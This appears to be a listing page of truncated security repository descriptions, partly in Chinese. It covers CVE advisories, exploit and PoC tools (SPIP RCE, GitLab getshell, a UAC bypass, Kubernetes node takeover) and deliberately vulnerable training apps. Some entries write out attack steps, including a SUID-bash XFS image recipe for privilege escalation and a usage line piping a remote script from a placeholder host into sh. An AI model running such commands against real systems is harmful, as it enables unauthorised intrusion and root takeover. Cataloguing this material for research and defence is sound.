CodiMD <2.5.4 - Insecure Filename Randomization

CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an...

WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting

WordPress defa-online-image-protector 3.3 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based...

CVE-2024-21626-demo

CVE-2024-21626-demo Container Runtime Meetup 5 的 LT 演示用。 基于公开信息旨在普及攻击风险，严禁滥用。 幻灯片 Container Runtime Meetup 5 ～那个镜像，真的可信吗？～ 使用 CVE-2024-21626 夺取宿主机的 root 权限 登录 victim-server 演示用笔记本电脑的 sshconfig 中注册为 victim-server 的机器。 ssh victim-server 作为受害前提条件的版本信息: ubuntu@victim-server:$ docker --version Docker...

CVE-2025-25163

CVE-2025-25163 Plugin A/B Image Optimizer = 3.3 - 已认证（订阅者+）任意文件下载 描述 Plugin A/B Image Optimizer WordPress插件存在目录遍历漏洞，影响版本直至3.3（含）。该漏洞使得已认证的攻击者（订阅者级别及以上访问权限）能够读取服务器上任意文件的内容，其中可能包含敏感信息。 详情 类型 : 插件 Slug : images-optimizer 受影响版本 : 3.3 CVSS 评分 : 6.5 CVSS 评级 : 中等 CVSS 向量 :...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 远程命令执行（RCE）漏洞利用 此脚本通过 porteplumeprevisu 端点利用 SPIP 4.2.8 版本中的远程代码执行漏洞。该漏洞允许未认证的攻击者通过预览渲染特制的图片标签来注入 PHP 代码。 CVE 编号: CVE-2024-7954 组件: SPIP CMS porteplumeprevisu 影响: 未认证的远程命令执行 严重程度: 严重 漏洞利用功能 执行任意系统命令 获取实时命令输出 自动提取并显示 IP 地理位置信息 代理支持（Burp/ZAP 或其他） 用法 python3...

dvna

Damn Vulnerable NodeJS Application DVNA Damn Vulnerable NodeJS Application DVNA is a simple NodeJS application to demonstrate OWASP Top 10 Vulnerabilities and guide on fixing and avoiding these vulnerabilities. The fixes branch will contain fixes for the vulnerabilities. Fixes for vulnerabilities...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 提权利用指南 📋 快速利用流程 步骤 1：准备 XFS 镜像（本地机器） 创建 300MB XFS 镜像 dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image 挂载并安装 SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp /bin/bash mnt/bash sudo chmod 4755 mnt/bash sudo umount mnt rmdir mnt 验证（应该显示 300...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 这只是我为了测试而写的一个便捷脚本。 输出 Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be proccessed by vulnerable...

ExtractUsnJrnl

NTFS 上的变更日志位于 $Extend$UsnJrnl 文件中。它是一个系统元文件，无法通过普通的目录列出找到，甚至常规手段也无法访问。相关数据位于名为 $J 的备用数据流中。还有一个名为 $Max 的 ADS，但它不太重要。$J 可能是稀疏的，这意味着数据的一部分只是 00。这可能占总数据的很大一部分，大多数工具会以完整大小提取这个数据流（这很烦人且严重浪费磁盘空间）。这就是这个工具发挥作用的地方，因为它只提取变更日志的实际数据。这样提取速度显然也更快。为什么要提取 20 GB，而你可能只需要 200 MB？ 参数说明 /ImageFile:...

Octopii

Octopii ⠀⠀⠀⠀⠀⠀⠀⣤⣤⣄⣀⡀⠀⠀⠀⢀⣠⣤⣤⣄⡀⠀⠀⠀⢀⣀⣠⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠸⣿⣿⡿⠿⢿⣷⡄⢠⣿⣿⣿⣿⣿⣿⡄⢀⣾⡿⠿⢿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠀⢸⣿⡇⢸⣿⣿⣿⣿⣿⣿⡇⢸⣿⡇⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣠⣤⡀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡇⢸⣿⣿⣿⣿⣿⣿⡇⢸⣿⡇⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠀⠀⠀ ⠸⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⢸⣿⡇⢸⣿⣿⣿⣿⣿⣿⡇⢸⣿⡇⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀ ⠀⠉⠉⠁⠀⠀⠀⠀⣿⣿⠀⢸⣿⡇⠀⠉⣿⣿⣿⣿⠉⠀⢸⣿⡇⠀⣿⣿⠀⠀⠀⠀⠈⠉⠉⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣀⣈⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣁⣀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀...

dvwassl

启用SSL的Damn Vulnerable Web App 运行一个启用SSL的Damn Vulnerable Web App。 为什么？ 你可能想测试通过SSL进行的Web攻击检测。 构建镜像 docker build -t dvwassl:latest . 运行容器 docker run -d -p 443:443 dvwassl:latest 自定义SSL证书和密钥 镜像自带预生成的SSL证书和密钥。你也可以使用自己的证书和密钥，或者生成新的： openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem...

CVE-2021-22205

CVE-2021-22205 由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令，最终导致Gitlab服务器被控制。由于网上大多缺少反弹shell，故修改了网上写的脚本，增加了一键getshell功能 影响版本 11.9 = GitLab（CE/EE） 13.8.8 13.9 = GitLab（CE/EE） 13.9.6 13.10 = GitLab（CE/EE） 13.10.3 使用说明 / \ \ / / | | \ / \ / | | | | \ / | | | | \ \ / /| | | | | | |...

byeintegrity-uac

ByeIntegrity — Windows UAC 绕过 绕过用户帐户控制 UAC 以获取提升的（管理员）权限，从而以高完整性级别运行任何程序。 要求 管理员帐户 UAC 通知级别设置为默认或更低 2021 年更新 我决定更新 ByeIntegrity，使其更快、更轻量且更可靠。这是一次重大改版，因此我在 VS 解决方案中创建了一个名为“ByeIntegrity2021”的新项目，这是该攻击的更新版本。当然，原始版本仍然存在。有关新版本的更多信息，请展开下面的详细信息。 更新信息 新版本现在能够劫持 NIC，而无需依赖已安装到 NIC...

cve-2020-16012

本仓库包含 CVE-2020-16012 的 PoC，这是 Firefox 和 Chromium 中 CanvasRenderingContext2D.drawImage 实现的一个侧信道漏洞。 可在 Mozilla Attack & Defense 博客 上阅读此漏洞的分析文章。 在 benchmark 中可以找到用于测量相关操作计时的代码，以及在 Linux 上使用 CPU 渲染的 Firefox 76 和 Chromium 83 中获得的基准测试结果。 在 exploit 中可以找到一个示例漏洞利用程序，利用该漏洞恢复跨源图像的轮廓，并附有漏洞利用实际运行的录像。...

ThingsBoard-IoT-Platform-CVE-2024-55466

使用存储型XSS进行Thingsboard权限提升 在探索物联网技术时，我发现Thingsboard应用程序中存在一个漏洞，该漏洞为权限提升提供了途径。 Thingsboard是一个开源应用程序，允许对物联网服务和部署进行设备管理、数据收集、处理和可视化。此外，单个Thingsboard实例（由租户管理员管理）可以为多个组织提供服务，每个组织都有各自的公司管理员。 在探索其功能时，我注意到“Image Gallery”（图片库）视图中有一个文件上传功能。不幸的是，该功能存在存储型跨站脚本漏洞，攻击者可以通过窃取身份验证令牌来提升权限。...

kube-alien

Kube-alien This tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it. After running the kube-alien pod it tries to takeover cluster's nodes by adding your public key to node's /root/.ssh/authorizedkeys...

jsteg

jsteg go get lukechampine.com/jsteg jsteg is a package for hiding data inside jpeg files, a technique known as steganography. This is accomplished by copying each bit of the data into the least-significant bits of the image. The amount of data that can be hidden depends on the filesize of the jpe...

Anti-Tamper-Perturbation

🛡️ Anti-Tamper Protection for Unauthorized Individual Image Generation Official Code for ICCV 2025 Paper 📄 Anti-Tamper Protection for Unauthorized Individual Image Generation ⚙️ Environment Setup conda create --name ATP --file requirements.txt conda activate ATP 🔐 Launch ATP 1. Download Dataset...

CVE-2026-95264

Feehi CMS version 2.1.1 is vulnerable to Directory Traversal . An authenticated backend user with article edit permissions can delete arbitrary files writable by the PHP process. The vulnerability occurs because article image metadata is used to construct a filesystem path which is then passed to...

osi.ig

Open Source Information Instagram so recently ig started sending html response insted of json to "unknown" requests. i REALLY wanted this to work without login since i don't use ig anymore, tried few ways i knew to get it working without login but it didn't work :/ anyways since lot of people are...